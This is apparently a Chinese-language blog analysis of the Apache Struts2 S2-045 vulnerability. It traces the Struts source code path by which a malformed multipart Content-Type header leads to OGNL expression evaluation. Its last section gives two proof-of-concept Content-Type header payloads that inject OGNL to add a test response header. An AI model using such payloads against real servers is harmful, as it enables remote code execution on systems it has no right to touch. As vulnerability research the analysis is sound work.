s2-045 漏洞分析

影响版本:

本页目录
  1. 0x01 踩坑
  2. 0x02 分析
  3. 跟进分析
  4. 流程梳理
  5. 0x03 利用条件
  6. 0x04 利用方式
  7. 参考资料

影响版本:

Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10

漏洞产生原因主要在于使用Jakarta插件处理文件上传操作,对content-type处理

【占坑】分析基于2.3.30,貌似高版本触发点不太一样,原理大致相同

0x01 踩坑

No, no I don’t give a… anymore.

0x02 分析

跟进分析

struct 使用java ee中的Filter去拦截请求,并实现自己的功能。也就是说,用户所发出的请求,首先会在org.apache.struts2.dispatcher.ng.filter中的StrutsPrepareAndExecuteFilter类去执行(即web.xml中配置的filter)。首先执行类中的doFilter方法。这个方法是自动调用的,在这里可以struct拦截用户的请求,并实现自己的业务代码。

  1. 执行prepare.wrapRequest()

    s2-045 漏洞分析 · 图示

  2. 跟进可见调用dispatcher.wrapRequest()

    public HttpServletRequest wrapRequest(HttpServletRequest oldRequest) throws ServletException {
    HttpServletRequest request = oldRequest;
    try {
    request = this.dispatcher.wrapRequest(request);
    ServletActionContext.setRequest(request);
    return request;
    } catch (IOException var4) {
    throw new ServletException("Could not wrap servlet request with MultipartRequestWrapper!", var4);
    }
    }
  3. 再跟进到dispatcher.wrapRequest,可见先判断是否包含multipart/form-data这个header

    在这里,并没去区分是什么http方法,也就是说,get方法强行包含一个带有恶意代码的content-type头,也会执行到这里的。首先判断一下是否为null和是否包含multipart/form-data。如果不包含,也就是get方法和post表单提交,则执行else里面的内容。如果包含,也就是说可能有文件上传,则执行if里面的内容。

    s2-045 漏洞分析 · 图示

  4. 这里会通过getMultiPartRequest获取默认的解析器

    s2-045 漏洞分析 · 图示

    而默认的就是jakarta,对应即为JakartaMultiPartRequest

    s2-045 漏洞分析 · 图示

  5. 跟进MultiPartRequestWrapper实例化,通过multi.parse开始解析即JakartaMultiPartRequest.parse

    public MultiPartRequestWrapper(MultiPartRequest multiPartRequest, HttpServletRequest request, String saveDir, LocaleProvider provider, boolean disableRequestAttributeValueStackLookup) {
    super(request, disableRequestAttributeValueStackLookup);
    this.defaultLocale = Locale.ENGLISH;
    this.errors = new ArrayList();
    this.multi = multiPartRequest;
    this.defaultLocale = provider.getLocale();
    this.setLocale(request);
    try {
    this.multi.parse(request, saveDir);
    Iterator i$ = this.multi.getErrors().iterator();
    while(i$.hasNext()) {
    String error = (String)i$.next();
    this.addError(error);
    }
    } catch (IOException var8) {
    if (LOG.isWarnEnabled()) {
    LOG.warn(var8.getMessage(), var8, new String[0]);
    }
    this.addError(this.buildErrorMessage(var8, new Object[]{var8.getMessage()}));
    }
    }
  6. 关键代码

    public void parse(HttpServletRequest request, String saveDir) throws IOException {
    String errorMessage;
    try {
    this.setLocale(request);
    this.processUpload(request, saveDir);
    } catch (SizeLimitExceededException var5) {
    ...
    } catch (Exception var6) {
    ...
    errorMessage = this.buildErrorMessage(var6, new Object[0]);
    ...
    }
    }
  7. 跟进processUpload,先通过parseRequest解析请求包信息,省略的代码是对表单内容的解析

    protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {
    Iterator i$ = this.parseRequest(request, saveDir).iterator();
    ...
    }
  8. 跟进parseRequest会发现调用upload.parseRequest

    protected List<FileItem> parseRequest(HttpServletRequest servletRequest, String saveDir) throws FileUploadException {
    DiskFileItemFactory fac = this.createDiskFileItemFactory(saveDir);
    ServletFileUpload upload = this.createServletFileUpload(fac);
    return upload.parseRequest(this.createRequestContext(servletRequest));
    }
  9. 跟进发现此处主要解析各个文件并保存到列表里

    s2-045 漏洞分析 · 图示

  10. 跟进到FileItemIteratorImpl,这里会调用JakartaMultiPartRequest.getContentType(),在if判断时候,会判断是否以multipart开头,可以在前加任意字符(包括00)即可进入else抛出异常

    Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryXd004BVJN9pBYBL2

    这里是为了使用header中content-type里的boundary来分割data中的文件表单

    private class FileItemIteratorImpl implements FileItemIterator {
    FileItemIteratorImpl(RequestContext ctx) throws FileUploadException, IOException {
    if (ctx == null) {
    throw new NullPointerException("ctx parameter");
    } else {
    String contentType = ctx.getContentType();
    if (null != contentType && contentType.toLowerCase(Locale.ENGLISH).startsWith("multipart/")) {
    ...
    } else {
    throw new FileUploadBase.InvalidContentTypeException(String.format("the request doesn't contain a %s or %s stream, content type header is %s", "multipart/form-data", "multipart/mixed", contentType));
    }
    }
    }
    ...
    }
  11. 回到JakartaMultiPartRequest.parse捕获异常调用buildErrorMessage,然后本地化处理执行OGNL

流程梳理

st=>start: Dispatcher.wrapRequest(HttpServletRequest)优先判断content-type是否包含multipart/form-data,注意是包含
a=>operation: 创建默认配置的multipartHandlerName解析器即JakartaMultiPartRequest,调用parse开始解析
b=>operation: 多次跟进后,跟入到FileUploadBase.parseRequest(),通过FileItemIteratorImpl提取文件
c=>operation: 为提取文件,通过header中的content-type分割文件
d=>operation: 但在JakartaMultiPartRequest.getContentType时检测是否为multipart/开头
e=>operation: 报错,抛出异常,被JakartaMultiPartRequest.getContentType捕获
f=>operation: buildErrorMessage构建错误信息
en=>end: 调用本地化转化文本内容,一系列操作后OGNL执行
st->a->b->c->d->e->fen

0x03 利用条件

All 版本

0x04 利用方式

  1. 添加header Content-Type: <char>maltipart/formdata payload

    P.S.

    1. payload为ognl表达式,payload之前空格可不要,因为struts会自己提取表达式内容
    2. maltipart/formdata可以在任意位置,如果在ognl前就需要在前面添加一个任意字符构造报错

如:

Content-Type: 'maltipart/formdata%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}maltipart/formdata

参考资料

  1. https://xz.aliyun.com/t/241
  2. https://paper.seebug.org/241/